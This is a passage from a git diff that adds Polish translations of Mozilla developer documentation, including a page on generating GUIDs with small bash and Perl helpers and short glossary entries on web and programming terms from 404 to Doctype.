+<p>By lepiej poznać się na bezpiecznym łączeniu komponentów XPCOM uzywając "klejącej" biblioteki XPCOM zobacz <a href="/en/XPCOM_Glue">Klej XPCOM</a>.</p>
+<h2 id="Resources" name="Resources">Jak używać Systemu Budowy Mozilli z SDK?</h2>
+<p>Istnieje możliwość używania <a href="/Talk:en/Creating_Custom_Firefox_Extensions_with_the_Mozilla_Build_System">Systemy Budowy Mozilli</a> z SDK. Można tego dokonać przez pobranie kodu źródłowego Firefox'a i użyć opcji <code>--with-libxul-sdk</code>  z poleceniem <code>configure</code>.</p>
+<h2 id="Resources" name="Resources">Zasoby</h2>
+<ul>
+ <li><a href="/User:Andywang/xpidl" title="User:Andywang/xpidl">static xpidl.exe</a> (nie oficjalne) Jęśli szukasz statycznego połączonego xpidl.exe, można go pobrać poprzez wyżej podany link.</li>
+ <li><a class="external" href="http://www.oxymoronical.com/view/1114">Mac Intel Gecko 1.8 SDK</a> Oficjalne SDK Mac 1.8 jest w wersji ppc. To jest nieoficjalne wydanie intela.</li>
+</ul>
+<p>{{ languages( { "zh-cn": "cn/Gecko_SDK", "fr": "fr/SDK_Gecko", "ja": "ja/Gecko_SDK" } ) }}</p>
diff --git a/files/pl/generowanie_guid/index.html b/files/pl/generowanie_guid/index.html
new file mode 100644
index 0000000000..8878563905
--- /dev/null
+++ b/files/pl/generowanie_guid/index.html
@@ -0,0 +1,78 @@
+---
+title: Generowanie GUID
+slug: Generowanie_GUID
+tags:
+ - Dodatki
+ - 'Programowanie_Mozilli:Narzędzia'
+ - Rozszerzenia
+ - Wszystkie_kategorie
+ - XPCOM
+translation_of: Mozilla/Tech/XPCOM/Generating_GUIDs
+---
+<p>
+</p><p><b>GUID</b>y są używane w programowaniu Mozilli do identyfikacji rożnych rzeczy włączając w to <a href="pl/Interfejsy">interfejsy XPCOM</a> (ten typ GUID nazywany jest IID), komponenty (CID) oraz dodatki jak <a href="pl/Rozszerzenia">rozszerzenia</a> oraz <a href="pl/Motywy">motywy</a>. Dodatki <a href="pl/Manifesty_Instalacji#id">mogą (i powinny) być identyfikowane</a> za pomocą ID typu &lt;tt&gt;<a class=" link-mailto" href="mailto:extensionname@organization.tld" rel="freelink">extensionname@organization.tld</a>&lt;/tt&gt; począwszy od <a href="pl/Firefox_1.5">Firefoksa 1.5</a>.
+</p>
+<h3 id="Forma_kanoniczna" name="Forma_kanoniczna"> Forma kanoniczna </h3>
+<p>Typową formą GUID jest &lt;tt&gt;xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx&lt;/tt&gt;, gdzie każdy &lt;tt&gt;x&lt;/tt&gt; reprezentuje cyfrę szestnastkową. Istnieje wiele narzędzi do generacji GUID w formie kanonicznej.
+</p>
+<h4 id="Narz.C4.99dzia_online" name="Narz.C4.99dzia_online">Narzędzia online</h4>
+<ul><li> <a class="external" href="http://www.somacon.com/p113.php">Generowanie GUID online</a>
+</li><li> <a class="external" href="http://www.famkruithof.net/uuid/uuidgen">Generator sieciowy UUID (GUID)</a>
+</li><li> <a class="external" href="http://mozilla.pettay.fi/cgi-bin/mozuuid.pl">UUID Generator for Mozilla Code</a> (both IDL and C++.h forms)
+</li><li> Ostatecznie, można uzyskać GUID od jednego z botów (tj. botbot, firebot) na kanale IRC <a class="link-irc" href="irc://irc.mozilla.org/mozilla">#mozilla</a> za pomocą &lt;tt&gt;/msg&lt;/tt&gt; "uuid".
+</li></ul>
+<h4 id="Windows" name="Windows">Windows</h4>
+<p>Użytkownicy Windows mogą użyć narzędzia Microsoftu <a class="external" href="http://www.microsoft.com/downloads/details.aspx?FamilyID=94551F58-484F-4A8C-BB39-ADB270833AFC&amp;displaylang=en">GuidGen</a>. (Jest ono również częścią MS Visual C++)
+</p>
+<h4 id="Linux" name="Linux">Linux</h4>
+<p>Użyj <code>/usr/bin/uuidgen</code>. Można go znaleźć w paczce <code>libuuid1</code> (Debian).
+</p>
+<h4 id="Perl" name="Perl">Perl</h4>
+<p><a class="external" href="http://www.johnkeiser.com/mozilla/mozilla_tools.html">Narzędzie Mozilli jkeiser's</a> zawiera generator UUID tworzący zarówno format C++ jak i styl IDL.
+</p>
+<h4 id="nsIUUIDGenerator" name="nsIUUIDGenerator">nsIUUIDGenerator</h4>
+<p>UUID może zostać wygenerowany za pomocą wolnego kodu Mozilli <code><a href="pl/NsIUUIDGenerator">nsIUUIDGenerator</a></code>. Patrz odnośniki do strony.
+</p>
+<h3 id="Format_COM.2FXPCOM" name="Format_COM.2FXPCOM"> Format COM/XPCOM </h3>
+<p>Podczas definiowania IID i CID za pomocą <code>#define</code> w kodzie C++ Mozilli możesz używać poniższego formatu:
+</p>
+<pre class="eval">// xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx
+#define NS_...ID \
+{ 0xXXXXXXXX, 0xXXXX, 0xXXXX, \
+ { 0xXX, 0xXX, 0xXX, 0xXX, 0xXX, 0xXX, 0xXX, 0xXX } }
+</pre>
+<p>Możesz wygenerować kod w powyższym formacie używając poniższych narzędzi.
+</p>
+<h4 id="Narz.C4.99dzia_online_2" name="Narz.C4.99dzia_online_2"> Narzędzia online </h4>
+<ul><li> <a class=" external" href="http://mozilla.pettay.fi/cgi-bin/mozuuid.pl" rel="freelink">http://mozilla.pettay.fi/cgi-bin/mozuuid.pl</a>
+</li></ul>
+<h4 id="guidgen" name="guidgen"> guidgen </h4>
+<p><code>guidgen.exe</code> jest częścią Microsoft Visual Studio i może generować UUID w tym formacie.
+</p>
+<h4 id="bash" name="bash"> bash </h4>
+<p>Możesz wpisać poniższy tekst do swojego pliku &lt;tt&gt;.bashrc&lt;/tt&gt;:
+</p>
+<pre>uuidgen-c++()
+{
+ local UUID=$(uuidgen)
+ echo "// $UUID"
+ echo "#define NS__IID \\"
+ echo "{ 0x${UUID:0:8}, 0x${UUID:9:4}, 0x${UUID:14:4}, \\"
+ echo -n " { 0x${UUID:19:2}, 0x${UUID:21:2}, 0x${UUID:24:2}, "
+ echo -n "0x${UUID:26:2}, 0x${UUID:28:2}, 0x${UUID:30:2}, "
+ echo "0x${UUID:32:2}, 0x${UUID:34:2} } }"
+}
+</pre>
+<h4 id="Perl_2" name="Perl_2"> Perl </h4>
+<pre>#!/usr/bin/perl
+$uuid = `uuidgen`;
+chomp $uuid;
+print $uuid, "\n";
+@parts = ($uuid =~ /^(.{8})-(.{4})-(.{4})-(..)(..)-(..)(..)(..)(..)(..)(..)$/);
+print "{ 0x$parts[0], 0x$parts[1], 0x$parts[2], \\", "\n", " { ";
+for (3 .. 9) {
+ print "0x$parts[$_], ";
+}
+print "0x$parts[10] } }", "\n";
+</pre>
+{{ languages( { "en": "en/Generating_GUIDs", "fr": "fr/G\u00e9n\u00e9ration_de_GUID", "ja": "ja/Generating_GUIDs" } ) }}
diff --git a/files/pl/glossary/404/index.html b/files/pl/glossary/404/index.html
new file mode 100644
index 0000000000..c745150e06
--- /dev/null
+++ b/files/pl/glossary/404/index.html
@@ -0,0 +1,15 @@
+---
+title: '404'
+slug: Glossary/404
+tags:
+ - Kod odpowiedzi
+translation_of: Glossary/404
+---
+<p>404 to standardowy kod odpowiedzi oznaczający, że {{Glossary("Server", "server")}} nie może odnaleźć szukanego zasobu.</p>
+
+<h2 id="Znajdź_więcej">Znajdź więcej</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Response_codes">list of HTTP response codes</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Learn/Checking_that_your_web_site_is_working_properly">advice for beginners on avoiding 404 errors</a></li>
+</ul>
diff --git a/files/pl/glossary/abstrakcja/index.html b/files/pl/glossary/abstrakcja/index.html
new file mode 100644
index 0000000000..0c56198083
--- /dev/null
+++ b/files/pl/glossary/abstrakcja/index.html
@@ -0,0 +1,55 @@
+---
+title: Abstrakcja
+slug: Glossary/Abstrakcja
+translation_of: Glossary/Abstraction
+---
+<p>Abstrakcja w {{Glossary("computer programming")}} <span class="tlid-translation translation"><span title="">to sposób na zmniejszenie złożoności i umożliwienie wydajnego projektowania i wdrażania w złożonych systemach oprogramowania.</span> <span title="">Ukrywa złożoność techniczną systemów za prostszą</span></span> {{Glossary("API", "APIs")}}.</p>
+
+<h2 id="Zalety_Abstrakcji_Danych">Zalety Abstrakcji Danych</h2>
+
+<ul>
+ <li><span class="tlid-translation translation"><span title="">Pomaga użytkownikowi uniknąć pisania kodu niskiego poziomu.</span></span></li>
+ <li><span class="tlid-translation translation"><span title="">Unika powielania kodu i zwiększa możliwość ponownego użycia.</span></span></li>
+ <li><span class="tlid-translation translation"><span title="">Potrafi samodzielnie zmieniać wewnętrzną implementację klasy bez wpływu na użytkownika.</span></span></li>
+ <li><span class="tlid-translation translation"><span title="">Pomaga zwiększyć bezpieczeństwo aplikacji lub programu, ponieważ tylko ważne informacje są dostarczane użytkownikowi.</span></span></li>
+</ul>
+
+<h2 id="Przykład"><strong>Przykład</strong></h2>
+
+<pre class="brush: cpp">#include &lt;iostream&gt;
+using namespace std;
+
+class implementAbstraction {
+
+ private:
+ int a, b;
+
+ public:
+ // method to set values of
+ // private members
+
+ void set(int x, int y) {
+ a = x;
+ b = y;
+ }
+
+ void display() {
+ cout&lt;&lt;"a = " &lt;&lt;a &lt;&lt; endl;
+ cout&lt;&lt;"b = " &lt;&lt; b &lt;&lt; endl;
+ }
+};
+
+int main() {
+ implementAbstraction obj;
+ obj.set(10, 20);
+ obj.display();
+ return 0;
+}</pre>
+
+<h2 id="Ucz_się_więcej"><strong>Ucz się więcej</strong></h2>
+
+<h3 id="Wiedza_ogólna"><strong>Wiedza ogólna</strong></h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "Abstraction (computer science)", "Abstraction")}} w Wikipedii.</li>
+</ul>
diff --git a/files/pl/glossary/accessibility/index.html b/files/pl/glossary/accessibility/index.html
new file mode 100644
index 0000000000..7eda4457c6
--- /dev/null
+++ b/files/pl/glossary/accessibility/index.html
@@ -0,0 +1,32 @@
+---
+title: Accessibility
+slug: Glossary/Accessibility
+tags:
+ - Accessibility
+translation_of: Glossary/Accessibility
+---
+<p>Web Accessibility (A11Y) odnosi się do najlepszych praktyk służących w celu utrzymywania strony internetowej przystępnej pomimo fizycznych i technologicznych ograniczeń. Web Accessibility jest formalnie określona i omawiana w {{Glossary("W3C")}} przez {{Glossary("WAI","Web Accessibility Initiative")}} (WAI).</p>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="General_knowledge">General knowledge</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility">Accessibility resources at MDN</a></li>
+ <li>{{Interwiki("wikipedia", "Web accessibility")}} on Wikipedia</li>
+</ul>
+
+<h3 id="Learn_web_accessibility">Learn web accessibility</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Accessibility">Learn accessibility on MDN</a></li>
+ <li><a href="http://webaim.org/" rel="external">Web Accessibility In Mind</a></li>
+</ul>
+
+<h3 id="Technical_reference">Technical reference</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA">The ARIA documentation on MDN</a></li>
+ <li><a href="http://www.w3.org/WAI/" rel="external">The Web Accessibility Initiative homepage</a></li>
+ <li><a href="http://www.w3.org/TR/wai-aria/" rel="external">The WAI-ARIA recommendation</a></li>
+</ul>
diff --git a/files/pl/glossary/accessibility_tree/index.html b/files/pl/glossary/accessibility_tree/index.html
new file mode 100644
index 0000000000..e67c81a88e
--- /dev/null
+++ b/files/pl/glossary/accessibility_tree/index.html
@@ -0,0 +1,41 @@
+---
+title: Drzewo dostępności (AOM)
+slug: Glossary/Accessibility_tree
+tags:
+ - AOM
+ - DOM
+ - Dostępność
+ - Słownik
+ - źródło
+translation_of: Glossary/Accessibility_tree
+---
+<p><span class="seoSummary"><strong>Drzewo dostępności</strong>, lub <strong>model dostępności obiektu</strong> (<strong>AOM</strong>), zawiera {{Glossary("accessibility")}}-informacje związane z dostępnością dla większości elementów HTML.</span></p>
+
+<p>Przeglądarki konwertują znaczniki HTML w wewnętrzną reprezentacje zwaną<em> </em><em><a href="/en-US/docs/Web/API/Document_object_model/How_to_create_a_DOM_tree">drzewem DOM</a></em>.  Drzewo DOM zawiera obiekty dla wszytskich elementów, atrybutów i węzłów tekstowych danego znacznika HTML. Na podstawie drzewa DOM, przeglądarki tworzą drzewo dostępności, które następnie jest używane przez, konkretne dla danej platformy, API<u><em> </em></u>dostępności do technologi wspomagających, takich jak czytniki ekranu.</p>
+
+<p>Istnieją cztery składniki w obiekcie drzewa dostępności:</p>
+
+<dl>
+ <dt><strong>nazwa</strong></dt>
+ <dd>Jak możemy się odnieść do danego elementu? Na przykład, hiperłącze zawierające tekst ‘Czytaj’ będzie miało nazwę 'Czytaj’ (więcej na temat w jaki sposób nazwy są kalkulowane mozesz dowiedzieć się z artykułu <a href="https://www.w3.org/TR/accname-1.1/">Specyfikacja kalkulacji dostępnej nazwy i opisu</a>).</dd>
+ <dt><strong>opis</strong></dt>
+ <dd>W jaki sposób możemy opisać element, jeśli chcemy dodać coś do nazwy? Opis tabeli może wyjaśnić jakiego rodzaju informacje ona prezentuje.</dd>
+ <dt><strong>rola</strong></dt>
+ <dd>Czym jest dany element? Czy jest to przycisk, pasek nawigacyjny czy lista obiektów?</dd>
+ <dt><strong>stan</strong></dt>
+ <dd>Czy posiada stan? Na przykład, zaznaczone/odznaczone pole wyboru, zwinięty/rozwinięty element <code><a href="/en-US/docs/Web/HTML/Element/summary">&lt;summary&gt;</a></code>.</dd>
+</dl>
+
+<p>Dodatkowo, drzewo dostępności często zawiera informacje o tym co można z danym elementem, zrobić: hiperłącze można <em>kliknąć,</em> pole tekstowe <em>wypełnić</em>, itd.</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Glossary">Glossary</a>
+
+ <ol>
+ <li>{{Glossary("Accessibility")}}</li>
+ <li>{{Glossary("ARIA")}}</li>
+ </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/pl/glossary/algorithm/index.html b/files/pl/glossary/algorithm/index.html
new file mode 100644
index 0000000000..d53b1064f8
--- /dev/null
+++ b/files/pl/glossary/algorithm/index.html
@@ -0,0 +1,34 @@
+---
+title: Algorithm
+slug: Glossary/Algorithm
+translation_of: Glossary/Algorithm
+---
+<p><span id="result_box" lang="pl"><span>Algorytm jest samodzielną serią instrukcji służących do wykonywania funkcji.</span></span></p>
+
+<p><span id="result_box" lang="pl"><span>Innymi słowy, algorytm jest sposobem opisywania sposobu rozwiązania problemu, aby mógł być wielokrotnie rozwiązywany przez ludzi lub maszyny.</span> <span>Informatycy porównują efektywność algorytmów poprzez pojęcie "złożoności algorytmu" lub zapisu "Big O".</span></span></p>
+
+<p>Na przykład:</p>
+
+<ul>
+ <li><span id="result_box" lang="pl"><span>Przepis na gotowanie to prosty algorytm dla ludzi</span></span></li>
+ <li><span id="result_box" lang="pl"><span>Algorytm sortowania jest często używany w programowaniu komputerowym w celu wyjaśnienia maszyny, jak sortować dane</span></span></li>
+</ul>
+
+<p>Powszechnymi algorytmami są algorytmy wyszukiwania, takie jak: problem komiwojażera, przechodzenie drzewa, itd..</p>
+
+<p>Występują również systemy uczące: Linear Regression (regresja liniowa), Logistic Regression (regresja logistyczna), Decision Tree (drzewo decyzyjne), Random Forrest (las losowy), Support Vector Machine (maszyna wektorów nośnych), Recurrent Neural Network (sztuczne sieci neuronowe), Long Short Term Memory (LSTM) Neural Network, Convolutional Neural Network (CNN), Deep Convolutional Neural Network etc.</p>
+
+<h2 id="Dowiedz_się_więcej">Dowiedz się więcej</h2>
+
+<h3 id="Wiedza_ogólna">Wiedza ogólna</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Algorithm", "Algorithm")}} w Wikipedii</li>
+</ul>
+
+<h3 id="Odnośniki_techniczne">Odnośniki techniczne</h3>
+
+<ul>
+ <li><a href="https://www.toptal.com/developers/sorting-algorithms">Wyjaśnienia dotyczące algorytmów sortowania</a></li>
+ <li><a href="http://bigocheatsheet.com/">Wyjaśnienia złożoności algorytmicznej</a></li>
+</ul>
diff --git a/files/pl/glossary/api/index.html b/files/pl/glossary/api/index.html
new file mode 100644
index 0000000000..2ac7a9121f
--- /dev/null
+++ b/files/pl/glossary/api/index.html
@@ -0,0 +1,31 @@
+---
+title: API
+slug: Glossary/API
+translation_of: Glossary/API
+---
+<p>API (Application Programming Interface) jest zbiorem funkcji oraz reguł wewnątrz aplikacji, które umożliwiają interakcję z tą aplikacją za pośrednictwem oprogramowania - w przeciwieństwie do interakcji przez interfejs użytkownika. API można postrzegać jako interfejs pomiędzy aplikacją, która go oferuje, a innymi elementami, np. aplikacjami lub urządzeniami stron trzecich.</p>
+
+<p>Ogólnie rzecz ujmując, w tworzeniu aplikacji internetowych, API jest zbiorem funkcji kodu np. {{glossary("method","metod")}}, {{Glossary("property","właściwości")}}, zdarzeń oraz {{Glossary("URL","adresów")}}, które deweloper może wykorzystać w swojej aplikacji np. do interakcji z komponentami przeglądarki internetowej użytkownika, programami na komputerze użytkownika lub stronami internetowymi i usługami stron trzecich.</p>
+
+<p>Przykłady:</p>
+
+<ul>
+ <li><a href="/pl/docs/Web/API/MediaDevices/getUserMedia">API getUserMedia</a> może zostać użyte do przechwycenia dźwięku oraz obrazu z kamery użytkownika, które mogą zostać potem dowolnie wykorzystane przez programistę. Przykładem jest nagrywanie obrazu i dźwięku, przesyłanie go innemu użytkownikowi w trakcie rozmowy konferencyjnej lub wykonywanie zdjęć.</li>
+ <li><a href="/pl/docs/Web/API/Geolocation">API Geolokacyjne</a> może zostać użyte do zdobycia informacji o lokalizacji z dowolnej usługi, którą użytkownik posiada na swoim urządzeniu (np. GPS). Następnie, może ona zostać użyta w połączeniu z <a href="https://cloud.google.com/maps-platform/">API Map Google</a>, na przykład po to, aby określić pozycję użytkownika na mapie i pokazać mu atrakcje turystyczne w jego okolicy.</li>
+ <li><a href="https://developer.twitter.com/en/docs">API Twittera </a>może zostać użyte, aby zdobyć informacje z konta użytkownika na Twitterze, przykładowo po to by wyświetlić jego ostatnie tweety na stronie internetowej.</li>
+ <li><a href="/pl/docs/Web/API/Web_Animations_API">API Animacji Webowych</a> może być użyte, aby animować części strony internetowej - na przykład sprawić by obrazy poruszały się lub obracały.</li>
+</ul>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<h3 id="Informacje_ogólne">Informacje ogólne</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Interfejs_programowania_aplikacji", "API")}} na Wikipedii</li>
+</ul>
+
+<h3 id="Dokumentacja_techniczna">Dokumentacja techniczna</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API">Web API reference</a></li>
+</ul>
diff --git a/files/pl/glossary/argument/index.html b/files/pl/glossary/argument/index.html
new file mode 100644
index 0000000000..407158f173
--- /dev/null
+++ b/files/pl/glossary/argument/index.html
@@ -0,0 +1,22 @@
+---
+title: Argument
+slug: Glossary/Argument
+tags:
+ - Argument
+translation_of: Glossary/Argument
+---
+<p><strong>Argument</strong> jest {{glossary("value")}} ({{Glossary("primitive")}} lub {{Glossary("object")}}) przekazanym na wejściu do {{Glossary("function")}} .</p>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="Wiedza_ogólna">Wiedza ogólna</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Parameter_(computer_programming)", "Difference between Parameter and Argument")}} on Wikipedia</li>
+</ul>
+
+<h3 id="Odniesienie_techniczne">Odniesienie techniczne</h3>
+
+<ul>
+ <li>The {{jsxref("Functions/arguments","arguments")}} object in {{glossary("JavaScript")}}</li>
+</ul>
diff --git a/files/pl/glossary/arpanet/index.html b/files/pl/glossary/arpanet/index.html
new file mode 100644
index 0000000000..38127c6c6a
--- /dev/null
+++ b/files/pl/glossary/arpanet/index.html
@@ -0,0 +1,14 @@
+---
+title: Arpanet
+slug: Glossary/Arpanet
+translation_of: Glossary/Arpanet
+---
+<p>ARPAnet (Advanced Research Projects Agency Network) była pierwszą siecią komputerową, zbudowaną w 1969 roku jako rozrosły nośnik do nadawania newralgicznych wojskowych danych oraz do łączenia wiodących grup badawczych w Stanach Zjednoczonych. ARPAnet pierwotnie działał przez NCP (Network Control Protocol), następnie poprzez pierwszą wersję protokołu Internetu lub pakietu {{glossary("TCP")}}/{{glossary("IPv6","IP")}}, ustanawiając ARPAnet czołową częścią powstającego {{glossary("Internet")}}. ARPAnet został zamknięty na początku 1990 roku.</p>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="General_knowledge">General knowledge</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Arpanet")}} on Wikipedia</li>
+</ul>
diff --git a/files/pl/glossary/array/index.html b/files/pl/glossary/array/index.html
new file mode 100644
index 0000000000..4215b382be
--- /dev/null
+++ b/files/pl/glossary/array/index.html
@@ -0,0 +1,30 @@
+---
+title: Array
+slug: Glossary/array
+tags:
+ - Tablica
+translation_of: Glossary/array
+---
+<p>Tablica jest uporządkowanym zbiorem danych (either {{Glossary("primitive")}} or {{Glossary("object")}} w zależności od języka). Tablice są używane do przechowywania wielu wartości w pojedynczej zmiennej. Porównajmy to do zmiennej która może przechowywać tylko jedną wartość.</p>
+
+<p>Każdy element tablicy ma numer przydzielony do niego, zwany indeksem liczbowym, który zezwala na dostęp do tego elementu. W języku JavaScript tablice zaczynają się od indeksu zero i mogą być manipulowane za pomocą wielu {{Glossary("Method", "methods")}}. </p>
+
+<p>Tak wygląda tablica w JavaScript:</p>
+
+<pre>var myArray = [1, 2, 3, 4];
+var catNamesArray = ["Jacqueline", "Sophia", "Autumn"];
+//Tablice w języku JavaSript mogą przechowywać różne typy danych, jak pokazano powyżej. </pre>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="General_knowledge">General knowledge</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Array data structure", "Array")}} on Wikipedia</li>
+</ul>
+
+<h3 id="Technical_reference">Technical reference</h3>
+
+<ul>
+ <li>JavaScript {{jsxref("Array")}} on MDN</li>
+</ul>
diff --git a/files/pl/glossary/ascii/index.html b/files/pl/glossary/ascii/index.html
new file mode 100644
index 0000000000..e5aab19ce1
--- /dev/null
+++ b/files/pl/glossary/ascii/index.html
@@ -0,0 +1,17 @@
+---
+title: ASCII
+slug: Glossary/ASCII
+tags:
+ - ASCII
+ - Glossary
+ - Infrastructure
+ - Kodowanie
+translation_of: Glossary/ASCII
+---
+<p><strong>ASCII</strong> (<em>American Standard Code for Information Interchange</em>) jest jednym z najpopularniejszych standardów kodowania używanym przez komputery. Służy do zamiany liter, cyfr oraz kodów kontrolnych do zapisu binarnego. Od 2007 roku, {{Glossary("UTF-8")}} zastąpiło ASCII.</p>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="General_knowledge">General knowledge</h3>
+
+<p>{{Interwiki("wikipedia", "ASCII")}} on Wikipedia</p>
diff --git a/files/pl/glossary/boolean/index.html b/files/pl/glossary/boolean/index.html
new file mode 100644
index 0000000000..62f6776639
--- /dev/null
+++ b/files/pl/glossary/boolean/index.html
@@ -0,0 +1,54 @@
+---
+title: Boolean
+slug: Glossary/Boolean
+tags:
+ - Boolean
+ - CodingScripting
+ - Glossary
+ - JavaScript
+ - Programming Languages
+ - data types
+translation_of: Glossary/Boolean
+---
+<p><span class="seoSummary"><strong>Boolean </strong>jest typem danych, który może przyjmować jedynie dwie wartośći - <code>true</code>, lub <code>false</code>, czyli prawda i fałsz.</span>W JavaScripcie naprzykład używa się ich by zadecydować, które części kodu wykonać (<a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else">instrukcje if</a>) lub powtórzyć (<a href="/en-US/docs/Web/JavaScript/Reference/Statements/for">pętle typu for</a>)</p>
+
+<p>Pseudokod obrazujący koncept.</p>
+
+<pre class="brush: js">/* JavaScript if statement */
+if (<em>boolean conditional</em>) {
+ // ten kod się wykona jeśli warunek jest prawdziy
+}
+
+if (<em>boolean conditional</em>) {
+ console.log("warunek jest prawdziwy");
+} else {
+ console.log("warunek jest fałszywy");
+}
+
+
+/* JavaScript for loop */
+for (<em>control variable</em>; <em>boolean conditional</em>; <em>counter</em>) {
+ // kod się wykonuje dopóki warunek jest prawdziwy
+}
+
+for (var i=0; i &lt; 4; i++) {
+ console.log("Ten kod wykona się 4 razy - dla i = 0,1,2,3");
+}
+</pre>
+
+<p>Nazwa pochodzi od angielskiego matematyka {{interwiki("wikipedia", "George Boole")}}, który był pionierem logiki matematycznej.</p>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="General_knowledge">General knowledge</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Boolean data type", "Boolean")}} on Wikipedia</li>
+</ul>
+
+<h3 id="Technical_reference">Technical reference</h3>
+
+<ul>
+ <li>The JavaScript global object: {{jsxref("Boolean")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Data_structures">JavaScript data types and data structures</a></li>
+</ul>
diff --git a/files/pl/glossary/buffer/index.html b/files/pl/glossary/buffer/index.html
new file mode 100644
index 0000000000..9669b330c8
--- /dev/null
+++ b/files/pl/glossary/buffer/index.html
@@ -0,0 +1,16 @@
+---
+title: buffer
+slug: Glossary/buffer
+tags:
+ - Buffer
+translation_of: Glossary/buffer
+---
+<p>Bufor jest magazynem w pamięci fizycznej używanym  do tymczasowego przechowywania danych podczas ich transferu z jednego miejsca w drugie.</p>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="General_knowledge">General knowledge</h3>
+
+<ul>
+ <li><a href="https://en.wikipedia.org/wiki/Data_buffer">Data buffer</a> on Wikipedia</li>
+</ul>
diff --git a/files/pl/glossary/chrome/index.html b/files/pl/glossary/chrome/index.html
new file mode 100644
index 0000000000..0ae93c94e4
--- /dev/null
+++ b/files/pl/glossary/chrome/index.html
@@ -0,0 +1,12 @@
+---
+title: Chrome
+slug: Glossary/Chrome
+translation_of: Glossary/Chrome
+---
+<p>W przeglądarce, chrome jest to każdy jej widoczny aspekt, oprócz samej strony internetowej (np. paski narzędzi, pasek menu, zakładki). Nie mylić z przeglądarką {{glossary("Google Chrome")}}.</p>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<ul>
+ <li><a href="http://www.nngroup.com/articles/browser-and-gui-chrome/">Browser and GUI Chrome</a></li>
+</ul>
diff --git a/files/pl/glossary/computer_programming/index.html b/files/pl/glossary/computer_programming/index.html
new file mode 100644
index 0000000000..2da4d655d2
--- /dev/null
+++ b/files/pl/glossary/computer_programming/index.html
@@ -0,0 +1,17 @@
+---
+title: Programowanie komputerowe
+slug: Glossary/Computer_Programming
+translation_of: Glossary/Computer_Programming
+---
+<p><span class="tlid-translation translation"><span title="">Programowanie komputerowe jest procesem komponowania i organizowania zbioru instrukcji.</span> <span title="">Mówią one komputerowi / oprogramowaniu, co robić w języku zrozumiałym dla komputera.</span> <span title="">Instrukcje te są w postaci wielu różnych języków, takich jak</span></span> C++, Java, JavaScript, HTML, Python, Ruby, and Rust.  </p>
+
+<p><span class="tlid-translation translation"><span title="">Za pomocą odpowiedniego języka można zaprogramować / stworzyć wszelkiego rodzaju oprogramowanie.</span> <span title="">Na przykład program, który pomaga naukowcom w złożonych obliczeniach, bazę danych, która przechowuje ogromne ilości danych, stronę internetową, która pozwala ludziom pobierać muzykę lub oprogramowanie do animacji, które pozwala ludziom tworzyć animowane filmy.</span></span></p>
+
+<h2 id="Dowiedz_się_więcej">Dowiedz się więcej</h2>
+
+<h3 id="Wiedza_ogólna">Wiedza ogólna</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Computer programming")}} w Wikipedii</li>
+ <li><a href="https://en.wikipedia.org/wiki/List_of_programming_languages">Lista języków programowania: Wikipedia</a></li>
+</ul>
diff --git a/files/pl/glossary/cookie/index.html b/files/pl/glossary/cookie/index.html
new file mode 100644
index 0000000000..a1f44e3199
--- /dev/null
+++ b/files/pl/glossary/cookie/index.html
@@ -0,0 +1,18 @@
+---
+title: Cookie
+slug: Glossary/Cookie
+translation_of: Glossary/Cookie
+---
+<p>Cookie jest to niewielki fragment informacji pozostawiony na komputerze odwiedzającego stronę internetową, przez przeglądarkę internetową.</p>
+
+<p>Cookies są używane by spersonalizować doświadczenie użytkownika ze stroną internetową. Mieszczą się w tym preferencje użytkownika lub dane wejściowe podczas wczytywania danej strony. Użytkownik może dostosować swoją przeglądarkę by akceptowała, odrzucała lub usuwała cookies.</p>
+
+<p>Cookies mogą być ustawiane i modyfikowane z poziomu serwera używając <code>Set-Cookie</code> <a href="/en-US/docs/Web/HTTP/Cookies">HTTP header</a>, albo przez JavaScript stosując <code><a href="/en-US/docs/Web/API/Document/cookie">document.cookie</a></code>.</p>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="General_Knowledge">General Knowledge</h3>
+
+<ul>
+ <li><a href="https://en.wikipedia.org/wiki/HTTP_cookie">HTTP cookie</a> w Wikipedii</li>
+</ul>
diff --git a/files/pl/glossary/doctype/index.html b/files/pl/glossary/doctype/index.html
new file mode 100644
index 0000000000..a7be56246c
--- /dev/null
+++ b/files/pl/glossary/doctype/index.html
@@ -0,0 +1,28 @@
+---
+title: Doctype
+slug: Glossary/Doctype
+tags:
+ - Browser
+ - CodingScripting
+ - DOCTYPE
+ - Glossary
+ - HTML
+ - Intro
+translation_of: Glossary/Doctype
+---
